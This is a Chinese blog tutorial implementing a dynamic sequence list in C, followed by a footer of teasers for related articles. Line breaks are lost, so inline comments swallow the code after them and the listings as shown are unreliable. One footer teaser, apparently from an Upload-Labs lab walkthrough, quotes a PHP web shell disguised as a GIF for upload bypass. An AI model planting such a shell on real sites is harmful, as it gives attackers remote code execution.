C语言：顺序表（上）

C语言：顺序表（上）

1.顺序表的介绍
2.顺序表的实现

1.顺序表的介绍

线性表是n个具有相同特性的数据元素的有限序列。

线性表是一种在实际中广泛使用的数据结构，常见的线性表：顺序表、链表、栈、队列、字符串…

线性表在逻辑上是线性结构，也就说是连续的一条直线。但是在物理结构上并不一定是连续的，线性表在物理上存储时，通常以 数组 和 链式结构 的形式存储。

顺序表的底层结构是数组，对数组的封装，实现了常用的增删改查等接口。

顺序表分为两类：

  • 静态顺序表：使用定长数组存储元素。容易出现空间不够用、空间浪费的问题。
    在这里插入图片描述

  • 动态顺序表：空间可以按需申请。

接下来以动态顺序表为例，编程实现顺序表。

2.顺序表的实现

首先，我们打开vs2022，创建一个头文件SeqList.h，用来定义结构体和函数声明，再创建SeqList.c来编写函数，创建test.c文件来进行测试。
在这里插入图片描述
实现顺序表的过程中，我们需要realloc函数来进行开辟和调整空间，用assert进行检查，所以我们在头文件SeqList.h中应包含stdio.h、stdlib.h、assert.h。

//SeqList.h
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>

定义顺序表SeqList，再用typedef重命名为SL。

typedef struct SeqList
{int* arr;int size;    //有效数据个数int capacity;//空间大小（个数）
}SL;

指针arr可以指向数组、结构体、字符串等等数据，所以要把int重命名，以便后续更改arr指向的数据。

//SeqList.h
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
typedef int SLDataType;//把int重命名，方便后续更改
typedef struct SeqList
{SLDataType* arr;int size;    //有效数据个数int capacity;//空间大小（个数）
}SL;

接下来进行函数声明，我们要编写函数实现顺序表的初始化、销毁、打印、尾插/删、头插/删、定位插入/删除、查找。

//SeqList.h
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
typedef int SLDataType;//把int重命名，方便后续更改
typedef struct SeqList
{SLDataType* arr;int size;    //有效数据个数int capacity;//空间大小（个数）
}SL;
void SLInit(SL* ps);//顺序表初始化void SLDestroy(SL* ps);//顺序表销毁void SLPrint(SL s);//顺序表打印void SLPushBack(SL* ps, SLDataType x);//尾插void SLPushFront(SL* ps, SLDataType x);//头插void SLPopBack(SL* ps);//尾删void SLPopFront(SL* ps);//头删void SLInsert(SL* ps, int pos, SLDataType x);//定位插入void SLErase(SL* ps, int pos);//定位删除int SLFind(SL* ps, SLDataType x);//查找

顺序表初始化：指针ps指向顺序表，把arr先置为NULL，有效数据的个数size为0，空间大小capacity为0。

void SLInit(SL* ps)//顺序表初始化
{ps->arr = NULL;ps->size = ps->capacity = 0;
}

顺序表销毁：需要判断顺序表是否为空，若为空则不需要销毁，若不为空则先用free释放arr指向的空间，再把size、capacity置为0。

void SLDestroy(SL* ps)//顺序表销毁
{if (ps->arr)//若ps->arr为NULL，不再free，若不为NULL，则执行freefree(ps->arr);ps->arr = NULL;ps->size = ps->capacity = 0;
}

在创建顺序表之后，我们通过头插、尾插、定位插入的方式往顺序表中插入数据，但在插入之前，我们需要检查arr指向的空间是否足够，不够则用realloc函数增加空间。

我们先判断size与capacity是否相等，若相等，则说明空间不足，如图所示：
在这里插入图片描述
size与capacity不相等，则以原空间大小的2倍增加空间。

void SLCheckCapacity(SL* ps)//检查插入前空间是否足够
{if (ps->capacity == ps->size)//空间大小和有效数据个数一致，则空间不足{int newCapacity = ps->capacity == 0 ? 4 : 2 * ps->capacity;SLDataType* t = (SLDataType*)realloc(ps->arr, newCapacity * sizeof(SLDataType));//要申请多大空间if (t == NULL)//若空间申请失败{perror("realloc fail !");exit(1);//退出程序}ps->arr = t;//空间申请成功ps->capacity = newCapacity;//记录新的空间大小}
}

尾插：尾插函数需要参数指向顺序表的指针ps和插入的数据x，先用assert检查ps是否为NULL，再通过SLCheckCapacity函数检查空间是否足够，若不足则增加空间，在插入数据之后，还要让size加1，记录新的有效数据个数。
在这里插入图片描述

void SLPushBack(SL* ps, SLDataType x)//尾插
{assert(ps);SLCheckCapacity(ps);//检查插入前空间是否足够ps->arr[ps->size] = x;ps->size++;
}

头插：头插与尾插类似，头插还需要循环把数据整体向后挪动一位。

void SLPushFront(SL* ps, SLDataType x)//头插
{assert(ps);SLCheckCapacity(ps);//检查插入前空间是否足够for (int i = ps->size;i > 0;i--)//让顺序表中已有的数据整体往后挪一位{                               //从最后一位开始挪，避免覆盖   ps->arr[i] = ps->arr[i - 1];}ps->arr[0] = x;ps->size++;
}

顺序表打印函数：

void SLPrint(SL s)//打印
{for (int i = 0;i < s.size;i++)printf("%d ", s.arr[i]);printf("\n");
}

尾删：只要size减1，让原本最后一个数据无法被访问，就实现了尾删。

void SLPopBack(SL* ps)//尾删
{assert(ps);assert(ps->size);//顺序表不为空--ps->size;
}

在这里插入图片描述
头删：与尾删类似，头删还要数据整体向前挪一位，且从第二位数据开始挪，通过覆盖第一位数据实现头删。

void SLPopFront(SL* ps)//头删
{assert(ps);assert(ps->size);for (int i = 0;i < ps->size - 1;i++)//数据整体往前挪一位{                                   //从第二位往前挪，覆盖第一位实现删除ps->arr[i] = ps->arr[i + 1];}ps->size--;
}

定位插入：类似头插、尾插，但多了一个参数pos，pos为数据插入后的下标，所以0<=pos<=size，在插入前，下标为pos及大于pos的数据往后挪一位。

void SLInsert(SL* ps, int pos, SLDataType x)//定位插入,插入后下标为pos
{assert(ps);assert(pos >= 0 && pos <= ps->size);SLCheckCapacity(ps);for (int i = ps->size;i > pos;i--)//pos及之后的数据整体往后挪一位{ps->arr[i] = ps->arr[i - 1];}ps->arr[pos] = x;ps->size++;
}

定位删除：pos为下标，显然0<=pos<size，下标大于pos的数据往前挪一位，通过arr[pos+1]把arr[pos]覆盖掉来实现定位删除。

void SLErase(SL* ps, int pos)//定位删除
{assert(ps);assert(pos >= 0 && pos < ps->size);for (int i = pos;i < ps->size-1;i++)//pos之后数据往前挪一位{                                   //arr[pos+1]覆盖掉arr[pos]ps->arr[i] = ps->arr[i + 1];}ps->size--;
}

查找：SLFind函数的参数x为要查找的数据，遍历整个顺序表，找到返回下标，找不到返回-1。

int SLFind(SL* ps, SLDataType x)//查找
{assert(ps);for (int i = 0;i < ps->size;i++){if (ps->arr[i] == x)return i;//找到了，返回下标}return -1;//未找到
}

在SeqList.c文件中的代码如下：

//SeqList.c
#include"SeqList.h"
void SLInit(SL* ps)//顺序表初始化
{ps->arr = NULL;ps->size = ps->capacity = 0;
}
void SLDestroy(SL* ps)//顺序表销毁
{if (ps->arr)//若ps->arr为NULL，不再free，若不为NULL，则执行freefree(ps->arr);ps->arr = NULL;ps->size = ps->capacity = 0;
}
void SLCheckCapacity(SL* ps)//检查插入前空间是否足够
{if (ps->capacity == ps->size)//空间大小和有效数据个数一致，则空间不足{int newCapacity = ps->capacity == 0 ? 4 : 2 * ps->capacity;SLDataType* t = (SLDataType*)realloc(ps->arr, newCapacity * sizeof(SLDataType));//要申请多大空间if (t == NULL)//若空间申请失败{perror("realloc fail !");exit(1);//退出程序}ps->arr = t;//空间申请成功ps->capacity = newCapacity;}
}
void SLPushBack(SL* ps, SLDataType x)//尾插
{assert(ps);SLCheckCapacity(ps);//检查插入前空间是否足够ps->arr[ps->size] = x;ps->size++;
}
void SLPushFront(SL* ps, SLDataType x)//头插
{assert(ps);SLCheckCapacity(ps);//检查插入前空间是否足够for (int i = ps->size;i > 0;i--)//让顺序表中已有的数据整体往后挪一位{                               //从最后一位开始挪，避免覆盖   ps->arr[i] = ps->arr[i - 1];}ps->arr[0] = x;ps->size++;
}
void SLPrint(SL s)//打印
{for (int i = 0;i < s.size;i++)printf("%d ", s.arr[i]);printf("\n");
}
void SLPopBack(SL* ps)//尾删
{assert(ps);assert(ps->size);//顺序表不为空--ps->size;
}
void SLPopFront(SL* ps)//头删
{assert(ps);assert(ps->size);for (int i = 0;i < ps->size - 1;i++)//数据整体往前挪一位{                                   //从第二位往前挪，覆盖第一位实现删除ps->arr[i] = ps->arr[i + 1];}ps->size--;
}
void SLInsert(SL* ps, int pos, SLDataType x)//定位插入,插入后下标为pos
{assert(ps);assert(pos >= 0 && pos <= ps->size);SLCheckCapacity(ps);for (int i = ps->size;i > pos;i--)//pos及之后的数据整体往后挪一位{ps->arr[i] = ps->arr[i - 1];}ps->arr[pos] = x;ps->size++;
}
void SLErase(SL* ps, int pos)//定位删除
{assert(ps);assert(pos >= 0 && pos < ps->size);for (int i = pos;i < ps->size-1;i++)//pos之后数据往前挪一位{                                   //arr[pos+1]覆盖掉arr[pos]ps->arr[i] = ps->arr[i + 1];}ps->size--;
}
int SLFind(SL* ps, SLDataType x)//查找
{assert(ps);for (int i = 0;i < ps->size;i++){if (ps->arr[i] == x)return i;//找到了，返回下标}return -1;//未找到
}

最后，我们就可以在test.c文件中做测试了，例如测试头插和尾插：

#include"SeqList.h"
void test1()
{SL s;SL* ps = &s;SLInit(ps);SLPushFront(ps, 1);SLPushBack(ps,2);SLPushBack(ps, 3);SLPushBack(ps, 4);SLPrint(s);SLDestroy(ps);
}
int main()
{test1();return 0;
}

在这里插入图片描述

拙作一篇，望诸位同道不吝斧正。

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如若转载，请注明出处：http://www.pswp.cn/news/916650.shtml
繁体地址，请注明出处：http://hk.pswp.cn/news/916650.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

GPT - 5被曝将在8月初发布！并同步推出mini、nano版

GPT - 5被曝将在8月初发布！并同步推出mini、nano版

据《TheVerge》最新报道&#xff0c;OpenAI 正准备在 8 月发布新版本旗舰大模型 GPT-5&#xff0c;如果顺利的话发布节点最早会在 8 月初。同时&#xff0c;下个月发布 GPT-5 时&#xff0c;还会一并推出 mini&#xff08;小型&#xff09;和 nano&#xff08;微型&#xff09;…
阅读更多...
【Linux操作系统】简学深悟启示录：Linux环境基础开发工具使用

【Linux操作系统】简学深悟启示录：Linux环境基础开发工具使用

文章目录1.软件包管理器yum2.Linux编辑器vim2.1 三模式切换2.2 正常模式2.3 底行模式2.4 可视化模式2.5 vim 配置3.Linux编译器gcc/g3.1 预处理3.2 编译3.3 汇编3.4 连接3.5 函数库4.Linux自动化构建工具Makefile5.Linux调试器gdb希望读者们多多三连支持小编会继续更新你们的鼓…
阅读更多...
八大神经网络的区别

八大神经网络的区别

神经网络名称全称/修正名称主要作用核心特点典型应用场景CINICNN&#xff08;卷积神经网络&#xff09;处理图像、视频等空间数据&#xff0c;提取局部特征。使用卷积核、池化操作&#xff1b;擅长平移不变性。图像分类、目标检测、人脸识别。RINIRNN&#xff08;循环神经网络&…
阅读更多...
从 SQL Server 到 KingbaseES V9R4C12，一次“无痛”迁移与深度兼容体验实录

从 SQL Server 到 KingbaseES V9R4C12，一次“无痛”迁移与深度兼容体验实录

#数据库平替用金仓 #金仓产品体验官 摘要&#xff1a;本文以体验项目案例为主线&#xff0c;从下载安装、数据类型、T-SQL、JDBC、性能基准、踩坑回退六大维度&#xff0c;全景验证 KingbaseES V9R4C12 对 SQL Server 的“零改造”兼容承诺&#xff1b;并给出 TPCH 100G 性能对…
阅读更多...
EasyPlayer播放器系列开发计划2025

EasyPlayer播放器系列开发计划2025

EasyPlayer系列产品发展至今&#xff0c;已经超过10年&#xff0c;从最早的EasyPlayer RTSP播放器&#xff0c;到如今维护的3条线&#xff1a;EasyPlayer-RTSP播放器&#xff1a;Windows、Android、iOS&#xff1b;EasyPlayerPro播放器&#xff1a;Windows、Android、iOS&#…
阅读更多...
通信名词解释：I2C、USART、SPI、RS232、RS485、CAN、TCP/IP、SOCKET、modbus等

通信名词解释：I2C、USART、SPI、RS232、RS485、CAN、TCP/IP、SOCKET、modbus等

以下内容参考AI生成内容1. I2C&#xff08;Inter-Integrated Circuit&#xff0c;集成电路间总线&#xff09;定义&#xff1a;由飞利浦&#xff08;现恩智浦&#xff09;开发的短距离串行通信总线&#xff0c;用于芯片级设备间的低速数据传输。工作原理&#xff1a;采用两根信…
阅读更多...
bash的特性-常见的快捷键

bash的特性-常见的快捷键

一、前言在 Linux Shell 编程和日常使用中&#xff0c;Bash 快捷键 是提升命令行操作效率的利器。熟练掌握这些快捷键&#xff0c;不仅可以节省大量输入时间&#xff0c;还能显著提升你在终端环境下的操作流畅度。本文将带你全面了解 Bash 中常用的快捷键&#xff0c;包括&…
阅读更多...
【Java Web实战】从零到一打造企业级网上购书网站系统 | 完整开发实录（三）

【Java Web实战】从零到一打造企业级网上购书网站系统 | 完整开发实录（三）

&#x1f3a8; 核心功能设计 &#x1f464; 用户管理系统 用户管理是整个系统的基础&#xff0c;我设计了完整的用户生命周期管理&#xff1a; &#x1f510; 用户注册流程 #mermaid-svg-D0eUHWissjNhkqlB {font-family:"trebuchet ms",verdana,arial,sans-serif;fon…
阅读更多...
uniapp input 聚焦时键盘弹起滚动到对应的部分

uniapp input 聚焦时键盘弹起滚动到对应的部分

实现效果代码如下<template><view idapp><view class"aa"></view><iconfont name"left"></iconfont>姓氏&#xff1a;<input style"background-color: antiquewhite;" type"text" v-model&quo…
阅读更多...
【基础篇三】WebSocket：实时通信的革命

【基础篇三】WebSocket：实时通信的革命

目录 一、传统HTTP的"痛点"分析 1.1 HTTP的单向通信模式 1.2 "实时"效果的痛苦尝试 ​编辑 1.3 性能对比分析 二、WebSocket 协议详解 2.1 WebSocket是什么&#xff1f; ​编辑 2.2 WebSocket的核心特性 2.2.1 全双工通信&#xff08;Full-Duple…
阅读更多...
设计模式（十八）行为型：中介者模式详解

设计模式（十八）行为型：中介者模式详解

设计模式&#xff08;十八&#xff09;行为型&#xff1a;中介者模式详解中介者模式&#xff08;Mediator Pattern&#xff09;是 GoF 23 种设计模式中的行为型模式之一&#xff0c;其核心价值在于通过引入一个中介者对象来封装一组对象之间的交互&#xff0c;从而降低对象间的…
阅读更多...
Upload-Labs通关全攻略详细版

Upload-Labs通关全攻略详细版

前端校验绕过：pass 01 两种思路：1.通过抓包，修改后缀 2.前端禁用js绕过前端后缀检验 首先写一个木马，改为图片格式GIF89a<?php eval($_POST[cmd])?>抓包之后改为PHP格式： 使用蚁剑连接木马，第一次尝试一直是返回数据为空，原因是没有链接到木马，于是寻找木马地址…
阅读更多...
C#观察者模式示例代码

C#观察者模式示例代码

using System; using System.Collections.Generic; using System.Threading;namespace RefactoringGuru.DesignPatterns.Observer.Conceptual {// Observer观察者 也可以叫做订阅者 subscriberspublic interface IObserver{// Receive update from subject// 接收来自主题的更新…
阅读更多...
电子电子架构 --- 软件项目的开端：裁剪

电子电子架构 --- 软件项目的开端：裁剪

我是穿拖鞋的汉子，魔都中坚持长期主义的汽车电子工程师。 老规矩，分享一段喜欢的文字，避免自己成为高知识低文化的工程师： 简单，单纯，喜欢独处，独来独往，不易合同频过着接地气的生活，除了生存温饱问题之外，没有什么过多的欲望，表面看起来很高冷，内心热情，如果你身…
阅读更多...
Open CV图像基本操作可莉版

Open CV图像基本操作可莉版

Open CV图像基本操作一、处理单个像素值访问像素值修改像素值二、处理单个ROI区域&#xff08;自选区域&#xff09;提取 ROI修改 ROI三、 处理图像通道通道分离通道合并四、处理整体图像缩放图像旋转图像平移图像翻转一、处理单个像素值 图像是由像素组成的矩阵&#xff0c;每…
阅读更多...
k8s:将打包好的 Kubernetes 集群镜像推送到Harbor私有镜像仓库

k8s:将打包好的 Kubernetes 集群镜像推送到Harbor私有镜像仓库

本文介绍了在离线环境中部署Harbor镜像仓库的完整流程。首先通过脚本创建多个Harbor项目&#xff0c;然后使用KubeKey工具将预打包的Kubernetes镜像(kubesphere.tar.gz)推送到Harbor仓库。接着配置containerd以支持从私有仓库拉取镜像&#xff0c;包括设置TLS证书和镜像仓库端点…
阅读更多...
IntelliJ IDEA中管理多版本Git子模块的完整指南

IntelliJ IDEA中管理多版本Git子模块的完整指南

1.背景介绍项目是父子工程。父工程XXX-ZZZ-CCC。子模块XXX-api在线上git网站管理,有多个分支版本。现在需要接收别人代码&#xff0c;导入到本机管理。可以实现本机切换&#xff0c;修改&#xff0c;上传。2.创建本地仓库并拉取所有版本2.1.创建目录在D:\ideaworkspace\midend-…
阅读更多...
Android ADB命令之内存统计与分析

Android ADB命令之内存统计与分析

一、核心命令总览工具 / 命令用途示例adb shell dumpsys meminfo查看设备全局内存状态adb shell dumpsys meminfoadb shell dumpsys meminfo <package>获取应用详细内存分类统计adb shell dumpsys meminfo com.example.appadb shell top动态查看进程内存和 CPU 占用adb s…
阅读更多...
算法思维进阶 力扣 300.最长递增子序列 暴力搜索 记忆化搜索 DFS 动态规划 C++详细算法解析 每日一题

算法思维进阶 力扣 300.最长递增子序列 暴力搜索 记忆化搜索 DFS 动态规划 C++详细算法解析 每日一题

目录零、题目描述一、为什么这道题值得你深入理解&#xff1f;二、题目拆解&#xff1a;提取核心关键点三、明确思路&#xff1a;从暴力到优化的完整进化3. 进一步优化&#xff1a;动态规划&#xff08;自底向上递推&#xff09;4. 终极优化&#xff1a;贪心 二分查找&#xf…
阅读更多...
图解网络-小林coding笔记（持续更新）

图解网络-小林coding笔记（持续更新）

大纲 #mermaid-svg-trl6Q4B1uDO1z05w {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-trl6Q4B1uDO1z05w .error-icon{fill:#552222;}#mermaid-svg-trl6Q4B1uDO1z05w .error-text{fill:#552222;stroke:#552222;}#merm…
阅读更多...
最新文章

Copyright @ 2022~2023